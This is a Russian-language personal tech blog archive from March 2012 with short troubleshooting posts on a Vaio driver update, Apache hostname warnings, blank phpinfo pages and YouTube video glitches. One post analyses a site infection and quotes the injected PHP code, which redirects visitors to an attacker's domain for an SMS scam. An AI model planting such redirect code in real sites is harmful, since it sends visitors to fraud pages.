За месяц Март, 2012

Sony Vaio Update ошибка при обновлении Graphics Driver (NVIDIA) - 8.17.11.9828

Обновление драйверов при помощи программы Sony Vaio Update заканчивалось с ошибкой Graphics Driver (NVIDIA) - 8.17.11.9828

Помогла ручная переустановка драйвера - удаляем старый (искать в панели управления), устанавливаем новый (искать  на сайте http://www.sony.ru/support/ru/hub/COMP_VAIO - удобно искать по названию модели и скачивать “вручную”). Хотя, по большому счёту, с предыдущей версией драйвера всё отображалось вполне сносно. Однако спокойно не работалось ;)

UPD Судя по информации на сайте Sony, ошибка известная - MPEG Playback is corrupted on VAIO Media plus

UPD2 Ан нет.. не так уж спокойно работалось. Зеленая полоса при просмотре видео и роликов YouTube  после включения аппаратного ускорения не появилась.

Опубликовано Март 27, 2012 | автор: levik  |  Нет комментариев »

Apache2 could not reliably determine the server’s fully qualified domain name using 127.0.0.1

Если при запуске (или при выполнении restart, reload) Apache выдает ошибку

Apache2 could not reliably determine the server’s fully qualified domain name using 127.0.0.1

это значит, что он не может определить имя хоста.

В некоторых статьях-заметках рекомендуется указывать в файле /etc/apache2/conf.d/vhosts.conf директиву
ServerName localhost,
однако правильнее настроить имя сервера в файле  /etc/hosts

127.0.0.1 localhost
89.0.0.0 my-server.ru

Опубликовано Март 21, 2012 | автор: levik  |  Комментарий (1) »

phpinfo пустая страница - как включить phpinfo

Иногда при попытке вывести phpinfo выводится пустая страница. При этом никаких ошибок не возникает, скрипт отрабатывает корректно. То есть следующий за phpinfo оператор выполняется (в примере ниже выведется 1), однако в остальном - пустая страница:

<?php
phpinfo();
echo '1';

То есть скрипт просто игнгорирует phpinfo(). Возможные причины пустой страницы:

1. файлы с расширением .php не обрабатываются php-интерпретатором и выводятся в браузер “как есть”. Однако в этом случае (как и следующем) будет не совсем пустая страница, а страница с исходным кодом;

2. в файле с вызовом функции phpinfo используется короткий тэг (<? вместо <?php ) , и при этом отключена обработка коротких тэгов (см. short_open_tag)

3. и, наконец, вызов phpinfo может быть запрещён в целях безопасности в файле php.ini - для решения следует открыть файл php.ini (обычно располагается в /etc/php/php.ini или  /etc/php5/php.ini) и закомментировать строчки, в которых содержится phpinfo. После чего не забыть перезапустить сервер (service httpd restart или /etc/init.d/apache2 restart)

* Если у вас нет доступа к php.ini, чтобы включить phpinfo лучше обратиться к хостеру. Возможно, они предоставляют собственный php.ini с возможностью настройки php под свои потребности.

UPD в лог ошибок Apache при попытке обращения к запрещённому phpinfo падает примерно следующее:
PHP Warning: phpinfo() has been disabled for security reasons in .../phpinfo.php on line 2

Опубликовано Март 15, 2012 | автор: levik  |  Нет комментариев »

Вирус на сайте - введите номер телефона

Столкнулся с интересной ситуацией - сайт якобы для защиты от спам-пользователей просит ввести свой номер телефона.

В последнее время наш сайт регулярно стал подвергаться атакам со стороны спам ботов. Для предотвращения данной ситуации мы приняли решение ввести обязательную смс авторизацию для всех посетителей. Введите номер Вашего телефона, на него придет БЕСПЛАТНОЕ смс сообщение с кодом авторизации.

Однако, владелец сайта не в курсе такой защиты.. Как оказалось, вариаций может быть несколько (к примеру, предупреждение от Google об опасности на сайте и тд). При этом предупреждение закрывается без ввода CMC, но открывается через некоторое время. Вот код, который приводил к открытию:
< ?php
$rSite = '***.servehttp.com'; // имя сайта заменено
if(!isset($_SERVER['REQUEST_URI']))
$_SERVER['REQUEST_URI'] = '';
$redirectURL = 'http://'.$rSite.$_SERVER['REQUEST_URI'];
if(isset($_SERVER['HTTP_REFERER']) && !isset($_COOKIE['arx_tt']))
if(!preg_match("|^http://$rSite|i",$_SERVER['HTTP_REFERER'])){
setcookie('arx_tt','1',time()+4*3600,'/');
exit( '<script>document.location.href="'.$redirectURL.'";');
}
setcookie('arx_tt','1',time()+4*3600,'/');

Вредоносный код, который встраивается на сайт и требует ввести СМС был размещён явно “вручную” в include-файлах, которые подключались при выводе практически всех страниц..

Опубликовано Март 9, 2012 | автор: levik  |  Комментарии (2) »

Youtube зеленая полоса, зеленый экран видео

При просмотре роликов на Youtube появлялся зеленый экран, или зеленая полоса в верхней части ролика. флэш плеер Youtube с зелёной полосой выглядел так:

зеленая полоса на видео в Youtube

Помогло отключение аппаратного ускорения в настройках флэш: правой кнопкой мыши на ролике, параметры и снимаем галочку

Как убрать зеленую полосу на видео в Youtube

Скорее всего, аналогичным способом получится убрать зелёную полосу и в других роликах (на Rutube, Vimeo и прочих видеохостингах)

p.s. Есть информация, что иногда вместо зеленой полосы появляется зеленый экран  вместо видео ролика..  Звук идет, а видео - нет

UPD 2 Возможно, проблема исчезнет при обновлении флэш плеера до последней версии. Также рекомендуется обновить драйвера видеокарты (это вообще не повредит, независимо от появления зелёной полосы)

Опубликовано Март 3, 2012 | автор: levik  |  Комментарий (1) »